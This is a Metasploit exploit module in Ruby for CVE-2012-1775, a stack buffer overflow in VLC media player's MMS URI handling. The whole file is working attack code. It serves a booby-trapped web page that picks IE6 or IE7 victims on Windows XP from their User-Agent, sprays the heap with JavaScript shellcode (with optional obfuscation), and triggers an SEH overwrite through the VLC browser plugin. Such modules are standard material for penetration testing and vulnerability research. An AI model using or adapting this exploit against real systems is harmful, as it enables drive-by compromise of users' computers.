##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "VLC MMS Stream Handling Buffer Overflow",
			'Description' => %q{
					This module exploits a buffer overflow in VLC media player VLC media player prior
				to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
				in a stack buffer overflow when handling a malicious MMS URI.

				This module uses the browser as attack vector. A specially crafted MMS URI is
				used to trigger the overflow and get flow control through SEH overwrite. Control
				is transferred to code located in the heap through a standard heap spray.

				The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
			},
			'License'     => MSF_LICENSE,
			'Author'      =>
				[
					'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References' =>
				[
					['CVE', '2012-1775'],
					['OSVDB', '80188'],
					['URL', 'http://www.videolan.org/security/sa1201.html'],
					# Fix commit diff
					['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
				],
			'Payload' =>
				{
					'BadChars'        => "\x00",
					'Space'           => 1000,
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with VLC 2.0.0
					[ 'Automatic', {} ],
					[
						'Internet Explorer 6 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1550',
							'Padding' => '0'
						}
					],
					[
						'Internet Explorer 7 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1600',
							'Padding' => '1'
						}
					]
				],
			'DisclosureDate' => "Mar 15 2012",
			'DefaultTarget' => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + 7.0
				my_target = targets[2]
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

	def on_request_uri(cli, request)
		#Pick the right target
		my_target = get_target(cli, request)
		if my_target.nil?
			vprint_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

		#ARCH used by the victim machine
		arch = Rex::Arch.endian(my_target.arch)
		nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
		code = Rex::Text.to_unescape(payload.encoded, arch)

		# Spray overwrites 0x30303030 with our payload
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['OffsetShell']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var i=0; i < #{my_target['Blocks']}; i++) {
			heap_obj.alloc(block);
		}
		JS

		#Use heaplib
		js_spray = heaplib(spray)

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
			js_spray.obfuscate
		end


		src_ip = Rex::Socket.source_address.split('.')
		hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
		# Try to maximize success on IE7 platform:
		# If first octet of IP address is minor than 16 pad with zero
		# even when heap spray could be not successful.
		# Else pad following target heap spray criteria.
		if ((hex_ip.to_i(16) >> 24) < 16)
			padding_char = '0'
		else
			padding_char = my_target['Padding']
		end

		hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

		html = <<-EOS
		<html>
    <head>
    <script>
			#{js_spray}
    </script>
    </head>
		<body>
		<OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
			codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
			width="320"
			height="240"
			id="vlc" events="True">
			<param name="Src" value="mms://#{hex_ip}:#{datastore['SRVPORT']}" />
			<param name="ShowDisplay" value="True" />
			<param name="AutoLoop" value="False" />
			<param name="AutoPlay" value="True" />
			<EMBED pluginspage="http://www.videolan.org"
				type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
				width="320"
				height="240"
				autoplay="yes"
				loop="no"
				target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
				name="vlc">
			</EMBED>
		</OBJECT>


		</body>
		</html>
		EOS

		#Remove extra tabs in HTML
		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious page")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end
end
